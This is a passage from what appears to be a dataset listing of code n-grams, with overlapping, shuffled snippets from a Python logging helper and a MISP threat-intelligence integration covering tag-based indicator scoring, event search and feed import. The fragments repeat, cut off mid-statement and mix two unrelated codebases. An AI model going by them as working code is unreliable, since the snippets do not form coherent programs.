filename=fname, filemode='w' ) console = logging.StreamHandler() console.setLevel(logging.INFO) formatter =","%(message)s', datefmt='%m-%d %H:%M', filename=fname, filemode='w' ) console = logging.StreamHandler() console.setLevel(logging.INFO) formatter = logging.Formatter('%(name)-12s:","is None: logging.basicConfig( level=logging.INFO if not silent else logging.CRITICAL, format='%(name)-12s: %(levelname)-8s %(message)s', datefmt='%m-%d","%H:%M', filemode='w' ) else: logging.basicConfig( level=logging.INFO if not silent else logging.CRITICAL, format='%(asctime)s %(name)-12s","silent else logging.CRITICAL, format='%(asctime)s %(name)-12s %(levelname)-8s %(message)s', datefmt='%m-%d %H:%M', filename=fname, filemode='w' ) console"],"string":"[\n \"import logging def setup_logger(fname=None, silent=False): if fname is None: logging.basicConfig( level=logging.INFO if not\",\n \"format='%(name)-12s: %(levelname)-8s %(message)s', datefmt='%m-%d %H:%M', filemode='w' ) else: logging.basicConfig( level=logging.INFO if not silent\",\n \"logging.CRITICAL, format='%(name)-12s: %(levelname)-8s %(message)s', datefmt='%m-%d %H:%M', filemode='w' ) else: logging.basicConfig( level=logging.INFO if not\",\n \"level=logging.INFO if not silent else logging.CRITICAL, format='%(asctime)s %(name)-12s %(levelname)-8s %(message)s', datefmt='%m-%d %H:%M', filename=fname,\",\n \"filename=fname, filemode='w' ) console = logging.StreamHandler() console.setLevel(logging.INFO) formatter = logging.Formatter('%(name)-12s: %(levelname)-8s %(message)s') console.setFormatter(formatter)\",\n \"logging def setup_logger(fname=None, silent=False): if fname is None: logging.basicConfig( level=logging.INFO if not silent\",\n \"%(message)s', datefmt='%m-%d %H:%M', filemode='w' ) else: logging.basicConfig( level=logging.INFO if not silent else logging.CRITICAL,\",\n \"%H:%M', filename=fname, filemode='w' ) console = logging.StreamHandler() console.setLevel(logging.INFO) formatter = logging.Formatter('%(name)-12s: %(levelname)-8s %(message)s')\",\n \"setup_logger(fname=None, silent=False): if fname is None: logging.basicConfig( level=logging.INFO if not silent else logging.CRITICAL,\",\n \"logging.basicConfig( level=logging.INFO if not silent else logging.CRITICAL, format='%(name)-12s: %(levelname)-8s %(message)s', datefmt='%m-%d %H:%M', filemode='w'\",\n \"filemode='w' ) console = logging.StreamHandler() console.setLevel(logging.INFO) formatter = logging.Formatter('%(name)-12s: %(levelname)-8s %(message)s') console.setFormatter(formatter) logging.getLogger('').addHandler(console)\",\n \"def setup_logger(fname=None, silent=False): if fname is None: logging.basicConfig( level=logging.INFO if not silent else\",\n \"not silent else logging.CRITICAL, format='%(name)-12s: %(levelname)-8s %(message)s', datefmt='%m-%d %H:%M', filemode='w' ) else: logging.basicConfig(\",\n \"datefmt='%m-%d %H:%M', filemode='w' ) else: logging.basicConfig( level=logging.INFO if not silent else logging.CRITICAL, format='%(asctime)s\",\n \"logging.CRITICAL, format='%(asctime)s %(name)-12s %(levelname)-8s %(message)s', datefmt='%m-%d %H:%M', filename=fname, filemode='w' ) console = logging.StreamHandler()\",\n \"fname is None: logging.basicConfig( level=logging.INFO if not silent else logging.CRITICAL, format='%(name)-12s: %(levelname)-8s %(message)s',\",\n \"filemode='w' ) else: logging.basicConfig( level=logging.INFO if not silent else logging.CRITICAL, format='%(asctime)s %(name)-12s %(levelname)-8s\",\n \"else: logging.basicConfig( level=logging.INFO if not silent else logging.CRITICAL, format='%(asctime)s %(name)-12s %(levelname)-8s %(message)s', datefmt='%m-%d\",\n \"else logging.CRITICAL, format='%(name)-12s: %(levelname)-8s %(message)s', datefmt='%m-%d %H:%M', filemode='w' ) else: logging.basicConfig( level=logging.INFO if\",\n \"%(levelname)-8s %(message)s', datefmt='%m-%d %H:%M', filemode='w' ) else: logging.basicConfig( level=logging.INFO if not silent else\",\n \"silent=False): if fname is None: logging.basicConfig( level=logging.INFO if not silent else logging.CRITICAL, format='%(name)-12s:\",\n \"format='%(asctime)s %(name)-12s %(levelname)-8s %(message)s', datefmt='%m-%d %H:%M', filename=fname, filemode='w' ) console = logging.StreamHandler() console.setLevel(logging.INFO)\",\n \"<reponame>cthoyt/retro_star<filename>retro_star/utils/logger.py<gh_stars>10-100 import logging def setup_logger(fname=None, silent=False): if fname is None: logging.basicConfig( level=logging.INFO if\",\n \"else logging.CRITICAL, format='%(asctime)s %(name)-12s %(levelname)-8s %(message)s', datefmt='%m-%d %H:%M', filename=fname, filemode='w' ) console =\",\n \"None: logging.basicConfig( level=logging.INFO if not silent else logging.CRITICAL, format='%(name)-12s: %(levelname)-8s %(message)s', datefmt='%m-%d %H:%M',\",\n \"if not silent else logging.CRITICAL, format='%(asctime)s %(name)-12s %(levelname)-8s %(message)s', datefmt='%m-%d %H:%M', filename=fname, filemode='w'\",\n \"if fname is None: logging.basicConfig( level=logging.INFO if not silent else logging.CRITICAL, format='%(name)-12s: %(levelname)-8s\",\n \"not silent else logging.CRITICAL, format='%(asctime)s %(name)-12s %(levelname)-8s %(message)s', datefmt='%m-%d %H:%M', filename=fname, filemode='w' )\",\n \"datefmt='%m-%d %H:%M', filename=fname, filemode='w' ) console = logging.StreamHandler() console.setLevel(logging.INFO) formatter = logging.Formatter('%(name)-12s: %(levelname)-8s\",\n \"%(name)-12s %(levelname)-8s %(message)s', datefmt='%m-%d %H:%M', filename=fname, filemode='w' ) console = logging.StreamHandler() console.setLevel(logging.INFO) formatter\",\n \"if not silent else logging.CRITICAL, format='%(name)-12s: %(levelname)-8s %(message)s', datefmt='%m-%d %H:%M', filemode='w' ) else:\",\n \"level=logging.INFO if not silent else logging.CRITICAL, format='%(name)-12s: %(levelname)-8s %(message)s', datefmt='%m-%d %H:%M', filemode='w' )\",\n \"silent else logging.CRITICAL, format='%(name)-12s: %(levelname)-8s %(message)s', datefmt='%m-%d %H:%M', filemode='w' ) else: logging.basicConfig( level=logging.INFO\",\n \") else: logging.basicConfig( level=logging.INFO if not silent else logging.CRITICAL, format='%(asctime)s %(name)-12s %(levelname)-8s %(message)s',\",\n \"logging.basicConfig( level=logging.INFO if not silent else logging.CRITICAL, format='%(asctime)s %(name)-12s %(levelname)-8s %(message)s', datefmt='%m-%d %H:%M',\",\n \"%(levelname)-8s %(message)s', datefmt='%m-%d %H:%M', filename=fname, filemode='w' ) console = logging.StreamHandler() console.setLevel(logging.INFO) formatter =\",\n \"%(message)s', datefmt='%m-%d %H:%M', filename=fname, filemode='w' ) console = logging.StreamHandler() console.setLevel(logging.INFO) formatter = logging.Formatter('%(name)-12s:\",\n \"is None: logging.basicConfig( level=logging.INFO if not silent else logging.CRITICAL, format='%(name)-12s: %(levelname)-8s %(message)s', datefmt='%m-%d\",\n \"%H:%M', filemode='w' ) else: logging.basicConfig( level=logging.INFO if not silent else logging.CRITICAL, format='%(asctime)s %(name)-12s\",\n \"silent else logging.CRITICAL, format='%(asctime)s %(name)-12s %(levelname)-8s %(message)s', datefmt='%m-%d %H:%M', filename=fname, filemode='w' ) console\"\n]","isConversational":false}}},{"rowIdx":1893,"cells":{"ngram":{"kind":"list like","value":["elif command == 'email': return_results(generic_reputation_command(args, 'email', 'EMAIL', malicious_tag_ids, suspicious_tag_ids, reliability, attributes_limit)) elif command","'Orgc': 'OwnerOrganization', 'orgc_uuid': 'OwnerOrganization.UUID', 'orgc_id': 'OwnerOrganization.ID', 'orgc_name': 'OwnerOrganization.Name', 'event_uuid': 'EventUUID', 'proposal_to_delete': 'ProposalToDelete', 'description':","'ip', 'IP', malicious_tag_ids, suspicious_tag_ids, reliability, attributes_limit)) elif command == 'domain': return_results( generic_reputation_command(args, 'domain',","attribute (True) or event (False). \"\"\" uuid = demisto_args.get('uuid') tag = demisto_args.get('tag') try:","returns the original input \"\"\" regex_and = r'(AND:)([^\\;]+)(;)?' regex_or = r'(OR:)([^\\;]+)(;)?' regex_not =","suspicious_tag_ids = handle_tag_duplication_ids(malicious_tag_ids, suspicious_tag_ids) if command == 'test-module': return_results(test(malicious_tag_ids=malicious_tag_ids, suspicious_tag_ids=suspicious_tag_ids, attributes_limit=attributes_limit)) elif command","None url_obj.append({'fragment': url_parse.fragment}) if url_parse.fragment else None url_obj.append({'port': url_parse.port}) if url_parse.port else None","a MISP search over 'attributes'\"\"\" args = prepare_args_to_search('attributes') outputs_should_include_only_values = argToBoolean(demisto_args.get('compact', False)) include_correlations","{att_id}' return CommandResults(readable_output=human_readable) raise DemistoException(f\"An error was occurred: {json.dumps(response)}\") def test(malicious_tag_ids, suspicious_tag_ids, attributes_limit):","in the integration configuration.') MISP_URL = params.get('url') VERIFY = not params.get('insecure') PROXIES =","found_tag: event_id = get_event_id(object_data_dict) tag_name = tag.get('Name') related_events.append({'Event_ID': event_id, 'Event_Name': event_name, 'Tag_Name': tag_name,","add_ip_object(demisto_args: dict): event_id = demisto_args.get('event_id') ip_object_args = [ 'dst_port', 'src_port', 'domain', 'hostname', 'ip_src',","event_highlights.append({ 'Event ID': event.get('ID'), 'Event Tags': event_tags, 'Event Galaxies': event_galaxies, 'Event Objects': event_objects,","* don't have any tags configured as suspicious nor malicious will be scored","args_to_misp_format: args_to_misp_format['date_from'] = args_to_misp_format.pop('from') if 'to' in args_to_misp_format: args_to_misp_format['date_to'] = args_to_misp_format.pop('to') if 'event_id'","def build_object_output(event): if event.get('Object'): event['Object'] = [ { 'name': event_object.get('name'), 'uuid': event_object.get('uuid'), 'description':","depends on the called function\"\"\" if given_object.get('Galaxy'): given_object['Galaxy'] = [ { 'name': star.get('name'),","suspicious_tag_ids = {tag_id for tag_id in suspicious_tag_ids if tag_id not in common_ids} return","raise DemistoException(attribute_instance_response.get('errors')) human_readable = f\"## MISP update attribute\\nAttribute: {attribute_uuid} was updated.\\n\" attribute =","demisto_args.get(arg)] def add_ip_object(demisto_args: dict): event_id = demisto_args.get('event_id') ip_object_args = [ 'dst_port', 'src_port', 'domain',","args: arguments to create the generic object Returns: GenericObjectGenerator: object created in MISP","MISP for value: {value}\") def get_events_related_to_scored_tag(all_attributes, found_tag): \"\"\" This function searches for all","'Event ID': event.get('ID'), 'Event Tags': event_tags, 'Event Galaxies': event_galaxies, 'Event Objects': event_objects, 'Publish","Common.File(dbot_score=dbot_score, md5=value) if hash_type == 'sha1': return Common.File(dbot_score=dbot_score, sha1=value) if hash_type == 'sha256':","args_to_misp_format.pop('from') if 'to' in args_to_misp_format: args_to_misp_format['date_to'] = args_to_misp_format.pop('to') if 'event_id' in args_to_misp_format: args_to_misp_format['eventid']","events[i]['timestamp'] = misp_convert_timestamp_to_date_string(events[i].get('timestamp')) events[i]['publish_timestamp'] = misp_convert_timestamp_to_date_string(events[i].get('publish_timestamp')) formatted_events = replace_keys_from_misp_to_context_data(events) # type: ignore return","been added to MISP event ID {event_id}' return CommandResults( readable_output=human_readable, outputs_prefix='MISP.Event', outputs_key_field='ID', outputs=formatted_response,","Value': outputs[0].get('Value'), 'Attribute Category': outputs[0].get('Category'), 'Timestamp': outputs[0].get('Timestamp'), 'Events with the scored tag': events_to_human_readable,","failed. Please make sure the UUID and tag exist.\") if is_attribute: response =","'AttributeCount', 'proposal_email_lock': 'ProposalEmailLock', 'locked': 'Locked', 'publish_timestamp': 'PublishTimestamp', 'event_creator_email': 'EventCreatorEmail', 'name': 'Name', 'analysis': 'Analysis',","def build_tag_output(given_object): \"\"\"given_object is attribute or event, depends on the called function\"\"\" if","== \"FILE\": hash_type = get_hash_type(value) if hash_type == 'md5': return Common.File(dbot_score=dbot_score, md5=value) if","big. User can use the command search-attributes in order to get the information","{}).get('ID') def get_dbot_indicator(dbot_type, dbot_score, value): if dbot_type == \"FILE\": hash_type = get_hash_type(value) if","= misp_convert_timestamp_to_date_string(attribute.get('timestamp')) if event: if event.get('timestamp'): attribute['Event']['timestamp'] = misp_convert_timestamp_to_date_string(event.get('timestamp')) if event.get('publish_timestamp'): attribute['Event']['publish_timestamp'] =","Some tags have a field called inherited. When it is set to 1","outputs_prefix='MISP.Attribute', outputs_key_field='ID', readable_output=readable_output) else: dbot = Common.DBotScore(indicator=value, indicator_type=indicator_type, score=Common.DBotScore.NONE, reliability=reliability, malicious_description=\"No results were","response_object = copy.deepcopy(response) if isinstance(response_object, str): response_object = json.loads(json.dumps(response_object)) events = [event.get('Event') for","if analysis_arg in MISP_ANALYSIS_TO_IDS else analysis_arg event.info = args.get('info') if args.get('info') else 'Event","to connect to MISP because of a SSLCertVerificationError, ' 'Please try to use","and returning outputs Args: obj: object to add to MISP event_id: ID of","created for misp to perform complex query or if no complex query found","output, tag_set_ids def parse_response_reputation_command(misp_response, malicious_tag_ids, suspicious_tag_ids, attributes_limit): \"\"\" After getting all the attributes","the user wants to get them back ATTRIBUTE_FIELDS.append('RelatedAttribute') if isinstance(response_object, str): response_object =","SHA-256') if dbot_type == 'IP': if not is_ip_valid(value): raise DemistoException(f\"Error: The given IP","indicator to be scored as malicious or suspicious. Args: all_attributes (dict): The parsed","the same tag appears in both Malicious tag ids and Suspicious tag ids","found if is_attribute_in_event_with_bad_threat_level: return Common.DBotScore.BAD, None return Common.DBotScore.NONE, None def get_new_misp_event_object(args): \"\"\" Create","args_names): return [{arg.replace('_', '-'): demisto_args.get(arg)} for arg in args_names if demisto_args.get(arg)] def add_ip_object(demisto_args:","to MISP attribute \"\"\" attribute_id = demisto_args.get('id') attribute_uuid = demisto_args.get('uuid') sighting_type = demisto_args['type']","'Event Info': event.get('Info'), 'Event Org ID': event.get('OrganizationID'), 'Event Orgc ID': event.get('OwnerOrganization.ID'), 'Event Distribution':","from pymisp.tools import GenericObjectGenerator import copy from pymisp.tools import FileObject from CommonServerPython import","limit < 0: raise DemistoException(\"limit should be zero or a positive number\") def","2 sets which include tag ids. If there is an id that exists","= [event.get('Event') for event in response_object] for i in range(0, len(events)): # Filter","= argToList(params.get('suspicious_tag_ids')) reliability = params.get('integrationReliability', 'B - Usually reliable') if DBotScoreReliability.is_valid_type(reliability): reliability =","given filters: {args}\") def build_events_search_response(response: Union[dict, requests.Response]) -> dict: \"\"\" Convert the response","list): return [replace_keys_from_misp_to_context_data(item) for item in obj_to_build] if isinstance(obj_to_build, dict): return { (MISP_ENTITIES_TO_CONTEXT_DATA[key]","re.search(regex_and, demisto_query, re.MULTILINE) match_or = re.search(regex_or, demisto_query, re.MULTILINE) match_not = re.search(regex_not, demisto_query, re.MULTILINE)","The given url: {value} is not valid\") if dbot_type == 'EMAIL': if not","if 'tags' in args_to_misp_format: args_to_misp_format['tags'] = build_misp_complex_filter(args_to_misp_format['tags']) args_to_misp_format['controller'] = controller demisto.debug(f\"[MISP V3]: args","tags and event tags). Args: value (str): The indicator value (an IP address,","of responses from error section Returns: List[Dict[str, any]]: filtered response \"\"\" return [{","found_tag, event_name)) return remove_duplicated_related_events(scored_events) def remove_duplicated_related_events(related_events): related_events_no_duplicates = [] for i in range(len(related_events)):","\"\"\"Gets an OSINT feed from url and publishing them to MISP urls with","if the given UUID is an attribute's one. Otherwise it's event's. \"\"\" uuid","= misp_convert_timestamp_to_date_string(response.get('Object', {}).get('timestamp')) formatted_response = replace_keys_from_misp_to_context_data(response) formatted_response.update({\"ID\": event_id}) human_readable = f'Object has been","\"\"\" Convert the response of attribute search returned from MISP to the context","DemistoException(f\"Error: The given url: {value} is not valid\") if dbot_type == 'EMAIL': if","'expiration': 2 } SIGHTING_TYPE_ID_TO_NAME = { '0': 'sighting', '1': 'false_positive', '2': 'expiration' }","err in error] def dict_to_generic_object_format(args: dict) -> List[dict]: \"\"\" Converts args dict into","tags are event's ones. Otherwise, the data is attribute's (attribute tags). \"\"\" output","\"page\", required=True) limit = arg_to_number(demisto_args.get('limit', 50), \"limit\", required=True) pagination_args_validation(page, limit) response = PYMISP.search(**args)","'URL', malicious_tag_ids, suspicious_tag_ids, reliability, attributes_limit)) elif command == 'ip': return_results( generic_reputation_command(args, 'ip', 'IP',","is_attribute_in_event_with_bad_threat_level: return Common.DBotScore.BAD, None return Common.DBotScore.NONE, None def get_new_misp_event_object(args): \"\"\" Create a new","'SharingGroupID', 'timestamp': 'LastChanged', 'to_ids': 'ToIDs', 'value': 'Value', 'event_id': 'EventID', 'ShadowAttribute': 'ShadowAttribute', 'disable_correlation': 'DisableCorrelation',","tag': events_to_human_readable, 'Scored Tag ID': found_tag_id, 'Scored Tag Name': found_tag_name, } def limit_tag_output_to_id_and_name(attribute_dict,","'Value', 'event_id': 'EventID', 'ShadowAttribute': 'ShadowAttribute', 'disable_correlation': 'DisableCorrelation', 'distribution': 'Distribution', 'type': 'Type', 'id': 'ID',","THREAT_LEVELS_TO_ID[threat_level_id_arg] analysis_arg = args.get('analysis') event.analysis = MISP_ANALYSIS_TO_IDS.get(analysis_arg) if analysis_arg in MISP_ANALYSIS_TO_IDS else analysis_arg","found in MISP\") indicator = get_dbot_indicator(dbot_type, dbot, value) return CommandResults(indicator=indicator, readable_output=f\"No attributes found","\"URL\": return Common.URL(url=value, dbot_score=dbot_score) def build_misp_complex_filter(demisto_query: str): \"\"\" Examples are available in UT:","value) return CommandResults(indicator=indicator, readable_output=f\"No attributes found in MISP for value: {value}\") def get_events_related_to_scored_tag(all_attributes,","found in MISP for the given filters: {args}\") def build_events_search_response(response: Union[dict, requests.Response]) ->","get the information about the attributes. \"\"\" response_object = copy.deepcopy(response) if isinstance(response_object, str):","= int(tag) if tag <= 0: raise DemistoException(f\"Tag id has to be a","return_results(test(malicious_tag_ids=malicious_tag_ids, suspicious_tag_ids=suspicious_tag_ids, attributes_limit=attributes_limit)) elif command == 'misp-create-event': return_results(create_event_command(args)) elif command == 'misp-add-attribute': return_results(add_attribute(demisto_args=args))","elif command == 'misp-add-attribute': return_results(add_attribute(demisto_args=args)) elif command == 'misp-search-events': return_results(search_events(args)) elif command ==","'name': event_object.get('name'), 'uuid': event_object.get('uuid'), 'description': event_object.get('description'), 'id': event_object.get('id') } for event_object in event['Object']","(event ones and the event's attribute tags ones as it is part of","the threat level id is in [1,2,3]. Otherwise, the threat level is 4","attribute.get('timestamp'): attribute['timestamp'] = misp_convert_timestamp_to_date_string(attribute.get('timestamp')) if event: if event.get('timestamp'): attribute['Event']['timestamp'] = misp_convert_timestamp_to_date_string(event.get('timestamp')) if event.get('publish_timestamp'):","'EMAIL': DBotScoreType.EMAIL, } DOMAIN_REGEX = ( r\"([a-z¡-\\uffff0-9](?:[a-z¡-\\uffff0-9-]{0,61}\" \"[a-z¡-\\uffff0-9])?(?:\\\\.(?!-)[a-z¡-\\uffff0-9-]{1,63}(?<!-))*\" \"\\\\.(?!-)(?!(jpg|jpeg|exif|tiff|tif|png|gif|otf|ttf|fnt|dtd|xhtml|css\" \"|html)$)(?:[a-z¡-\\uffff-]{2,63}|xn--[a-z0-9]{1,59})(?<!-)\\\\.?$\" \"|localhost)\" ) MISP_SEARCH_ARGUMENTS","indicator score by following logic. Indicators of attributes and Events that: * have","'sighting': 0, 'false_positive': 1, 'expiration': 2 } SIGHTING_TYPE_ID_TO_NAME = { '0': 'sighting', '1':","{'name': 'The Botvrij.eu Data', 'url': 'http://www.botvrij.eu/data/feed-osint', 'format': 'misp', 'input': 'network'} } THREAT_LEVELS_TO_ID =","python warnings warnings.warn = warn ''' GLOBALS/PARAMS ''' params = demisto.params() if not","get_hash_type(value) if hash_type == 'md5': return Common.File(dbot_score=dbot_score, md5=value) if hash_type == 'sha1': return","ids. If there is an id that exists in both sets, it will","'Low': 3, 'Unknown': 4 } MISP_ENTITIES_TO_CONTEXT_DATA = { 'deleted': 'Deleted', 'category': 'Category', 'comment':","key=MISP_API_KEY, ssl=VERIFY, proxies=PROXIES) except PyMISPError as e: handle_connection_errors(e.message) PREDEFINED_FEEDS = { 'CIRCL': {'name':","range(len(related_events)): if related_events[i] not in related_events[i + 1:]: related_events_no_duplicates.append(related_events[i]) return related_events_no_duplicates def search_events_with_scored_tag(object_data_dict,","return formatted_response, score, found_tag, found_related_events def prepare_attributes_array_to_context_data(attributes_list): attributes_tag_ids, event_tag_ids = set(), set() found_related_events","err[0], 'message': err[1].get('message'), 'errors': err[1].get('errors') } for err in error] def dict_to_generic_object_format(args: dict)","tag_id, 'Name': tag.get('name')}) return output, tag_set_ids def parse_response_reputation_command(misp_response, malicious_tag_ids, suspicious_tag_ids, attributes_limit): \"\"\" After","command == 'misp-add-domain-object': return_results(add_domain_object(args)) elif command == 'misp-add-url-object': return_results(add_url_object(args)) elif command == 'misp-add-ip-object':","were detected as related to the tag. \"\"\" scored_events = [] if found_tag:","both sets, it will be removed from the suspicious tag ids set and","EVENT_FIELDS if key in events[i]} events[i]['RelatedEvent'] = [] # there is no need","CommandResults( readable_output=human_readable, outputs_prefix='MISP.Event', outputs_key_field='ID', outputs=formatted_response, ) def add_file_object(demisto_args: dict): entry_id = demisto_args.get('entry_id') event_id","demisto_args=demisto_args) event = PYMISP.search(eventid=event_id) human_readable = f\"## MISP create event\\nNew event with ID:","'analysis', 'attribute_count', 'timestamp', 'distribution', 'proposal_email_lock', 'locked', 'publish_timestamp', 'sharing_group_id', 'disable_correlation', 'event_creator_email', 'Org', 'Orgc', 'RelatedEvent',","'application/json'} url = build_feed_url(demisto_args) osint_url = f'{url}/manifest.json' limit = arg_to_number(demisto_args.get('limit', 2), \"limit\", required=True)","else key): replace_keys_from_misp_to_context_data(value) for key, value in obj_to_build.items() } return obj_to_build def reputation_command_to_human_readable(outputs,","set() found_related_events = {} if not attributes_list: return None for attribute in attributes_list:","tag ids set and will be stayed only in the malicious one (as","dict): \"\"\" Gets an event id and deletes it. \"\"\" event_id = demisto_args.get('event_id')","3, 'Inherit_event': 5 } SIGHTING_TYPE_NAME_TO_ID = { 'sighting': 0, 'false_positive': 1, 'expiration': 2","to that existing event. \"\"\" attributes_args = { 'id': demisto_args.get('event_id'), # misp event","event's (is_event_level = true) we would like to add to tag_set_ids all the","be written to the context Returns: CommandResults includes all the indicator results. \"\"\"","If no tag was found, then the score is Unknown so no events","'src_port', 'domain', 'hostname', 'ip_src', 'ip_dst' ] # converting args to MISP's arguments types","search-attributes returned {len(response_for_context)} attributes\\n {pagination_message}\", attribute_highlights, removeNull=True) return CommandResults( raw_response=response, readable_output=md, outputs=response_for_context, outputs_prefix=\"MISP.Attribute\",","f'Tag {tag} has been successfully removed from the attribute {uuid}' return CommandResults( readable_output=human_readable,","output as the information is too big. User can use the command search-attributes","attribute\\nNew attribute: {value} was added to event id {new_event.id}.\\n\" return CommandResults( readable_output=human_readable, outputs_prefix='MISP.Attribute',","= \"\", \"\" for event in events_to_human_readable: # removing those fields as they","= create_updated_attribute_instance(demisto_args, attribute_uuid) attribute_instance_response = PYMISP.update_attribute(attribute=attribute_instance, attribute_id=attribute_uuid) if isinstance(attribute_instance_response, dict) and attribute_instance_response.get('errors'): raise","dbot = Common.DBotScore(indicator=value, indicator_type=indicator_type, score=Common.DBotScore.NONE, reliability=reliability, malicious_description=\"No results were found in MISP\") indicator","be called as an independence command or as part of another command (create","'IP': DBotScoreType.IP, 'EMAIL': DBotScoreType.EMAIL, } DOMAIN_REGEX = ( r\"([a-z¡-\\uffff0-9](?:[a-z¡-\\uffff0-9-]{0,61}\" \"[a-z¡-\\uffff0-9])?(?:\\\\.(?!-)[a-z¡-\\uffff0-9-]{1,63}(?<!-))*\" \"\\\\.(?!-)(?!(jpg|jpeg|exif|tiff|tif|png|gif|otf|ttf|fnt|dtd|xhtml|css\" \"|html)$)(?:[a-z¡-\\uffff-]{2,63}|xn--[a-z0-9]{1,59})(?<!-)\\\\.?$\" \"|localhost)\"","them back ATTRIBUTE_FIELDS.append('RelatedAttribute') if isinstance(response_object, str): response_object = json.loads(json.dumps(response_object)) attributes = response_object.get('Attribute') return","the tags and search if found_tag is one of it's tags. If so,","add_attribute(event_id=event_id, internal=True, new_event=new_event, demisto_args=demisto_args) event = PYMISP.search(eventid=event_id) human_readable = f\"## MISP create event\\nNew","return_results(add_sighting(args)) elif command == 'misp-add-tag-to-event': return_results(add_tag(args)) elif command == 'misp-add-tag-to-attribute': return_results(add_tag(demisto_args=args, is_attribute=True)) elif","'The Botvrij.eu Data', 'url': 'http://www.botvrij.eu/data/feed-osint', 'format': 'misp', 'input': 'network'} } THREAT_LEVELS_TO_ID = {","we sort the attributes list by the event ids as the greater event","tags have a field called inherited. When it is set to 1 it","'uuid': 'UUID', 'sharing_group_id': 'SharingGroupID', 'timestamp': 'LastChanged', 'to_ids': 'ToIDs', 'value': 'Value', 'event_id': 'EventID', 'ShadowAttribute':","build_feed_url(demisto_args): url = demisto_args.get('feed') url = url[:-1] if url.endswith('/') else url if PREDEFINED_FEEDS.get(url):","{response}') for ref in obj.ObjectReference: response = PYMISP.add_object_reference(ref) for attribute in response.get('Object', {}).get('Attribute',","'id': 'ID', 'date': 'CreationDate', 'info': 'Info', 'published': 'Published', 'attribute_count': 'AttributeCount', 'proposal_email_lock': 'ProposalEmailLock', 'locked':","addition, returns set of the found tag ids. Some tags have a field","a SSLCertVerificationError, ' 'Please try to use the Trust any certificate option.') if","'provider': 'Provider', 'source_format': 'SourceFormat', 'url': 'URL', 'event_uuids': 'EventUUIDS', } MISP_ANALYSIS_TO_IDS = { 'initial':","event.get('Tag'): limit_tag_output, tag_ids = limit_tag_output_to_id_and_name(event, True) event['Tag'] = limit_tag_output event_tag_ids.update(tag_ids) if attribute.get('Tag'): limit_tag_output,","this list to include only the ID and Name fields. In addition, returns","DemistoException(\"limit should be zero or a positive number\") def attribute_response_to_markdown_table(response: dict): attribute_highlights =","is_indicator_found: outputs, score, found_tag, found_related_events = parse_response_reputation_command(misp_response, malicious_tag_ids, suspicious_tag_ids, attributes_limit) dbot = Common.DBotScore(indicator=value,","'Scored Tag Name': found_tag_name, } def limit_tag_output_to_id_and_name(attribute_dict, is_event_level): \"\"\" As tag list can","in MISP\") indicator = get_dbot_indicator(dbot_type, dbot, value) all_attributes = outputs.get('Attribute') events_to_human_readable = get_events_related_to_scored_tag(all_attributes,","address, domain, url or file hash). dbot_type (str): Indicator type (file, url, domain,","last_seen = demisto_args.get('last_seen') attribute_instance = MISPAttribute() attribute_instance.uuid = attribute_uuid if attribute_type: attribute_instance.type =","stronger than recognised as suspicious). \"\"\" common_ids = set(malicious_tag_ids) & set(suspicious_tag_ids) suspicious_tag_ids =","else 0 if 'enforceWarninglist' in args_to_misp_format: args_to_misp_format['enforceWarninglist'] = 1 if demisto_args.get('enforceWarninglist') == 'true'","returned {number_of_results} attributes\", response_for_context[:number_of_results], [\"Value\"]) else: response_for_context = build_attributes_search_response(response, include_correlations) attribute_highlights = attribute_response_to_markdown_table(response_for_context)","= set() tags_list = attribute_dict.get('Tag', []) for tag in tags_list: is_event_tag = tag.get('inherited',","'http://www.botvrij.eu/data/feed-osint', 'format': 'misp', 'input': 'network'} } THREAT_LEVELS_TO_ID = { 'High': 1, 'Medium': 2,","'md5': return Common.File(dbot_score=dbot_score, md5=value) if hash_type == 'sha1': return Common.File(dbot_score=dbot_score, sha1=value) if hash_type","correct\" in error: return_error('Unable to connect to MISP, ' 'Please make sure the","Common.EMAIL(address=value, dbot_score=dbot_score) if dbot_type == \"URL\": return Common.URL(url=value, dbot_score=dbot_score) def build_misp_complex_filter(demisto_query: str): \"\"\"","add it to tag_set_ids. In any other case, we won't add the tag.","output in test_data/reputation_command_outputs.json \"\"\" response = copy.deepcopy(misp_response) attributes_list = response.get('Attribute') if not attributes_list:","return CommandResults(indicator=indicator, raw_response=misp_response, outputs=all_attributes, outputs_prefix='MISP.Attribute', outputs_key_field='ID', readable_output=readable_output) else: dbot = Common.DBotScore(indicator=value, indicator_type=indicator_type, score=Common.DBotScore.NONE,","MISP with the given attribute args\"\"\" new_event = get_new_misp_event_object(demisto_args) new_event = PYMISP.add_event(new_event, True)","Indicator type (file, url, domain, email or ip). malicious_tag_ids (set): Tag ids should","key in ATTRIBUTE_FIELDS if key in attributes[i]} build_galaxy_output(attributes[i]) build_tag_output(attributes[i]) build_sighting_output_from_attribute_search_response(attributes[i]) convert_timestamp_to_readable(attributes[i], None) formatted_attributes","attribute.get('EventID'), 'Attribute Category': attribute.get('Category'), 'Attribute Type': attribute.get('Type'), 'Attribute Comment': attribute.get('Comment'), 'Attribute Value': attribute.get('Value'),","for key, value in obj_to_build.items() } return obj_to_build def reputation_command_to_human_readable(outputs, score, events_to_human_readable): found_tag_id,","that were detected as related to the tag. \"\"\" scored_events = [] if","attribute_instance_response = PYMISP.update_attribute(attribute=attribute_instance, attribute_id=attribute_uuid) if isinstance(attribute_instance_response, dict) and attribute_instance_response.get('errors'): raise DemistoException(attribute_instance_response.get('errors')) human_readable =","params.get('integrationReliability', 'B - Usually reliable') if DBotScoreReliability.is_valid_type(reliability): reliability = DBotScoreReliability.get_dbot_score_reliability_from_str(reliability) else: Exception(\"MISP V3","scored as malicious. - Attributes tags (both malicious and suspicious) are stronger than","'from', 'to', 'event_id', 'uuid', 'to_ids', 'last', 'include_decay_score', 'include_sightings', 'include_correlations', 'limit', 'page', 'enforceWarninglist', 'include_feed_correlations',","to include only the ID and Name fields. In addition, returns set of","is not valid\") if dbot_type == 'URL': if not re.compile(urlRegex, regexFlags).match(value): raise DemistoException(f\"Error:","'limit' not in args_to_misp_format: args_to_misp_format['limit'] = '50' if 'tags' in args_to_misp_format: args_to_misp_format['tags'] =","for galaxy in event.get('Galaxy')] def event_to_human_readable_object_list(event): event_objects = event.get('Object', []) if event_objects: return","json.loads(attributes) if not isinstance(args, list): args = dict_to_generic_object_format(args) obj = build_generic_object(template, args) return","not valid\") if dbot_type == 'URL': if not re.compile(urlRegex, regexFlags).match(value): raise DemistoException(f\"Error: The","'true' else 0 if 'enforceWarninglist' in args_to_misp_format: args_to_misp_format['enforceWarninglist'] = 1 if demisto_args.get('enforceWarninglist') ==","hash_type == 'md5': return Common.File(dbot_score=dbot_score, md5=value) if hash_type == 'sha1': return Common.File(dbot_score=dbot_score, 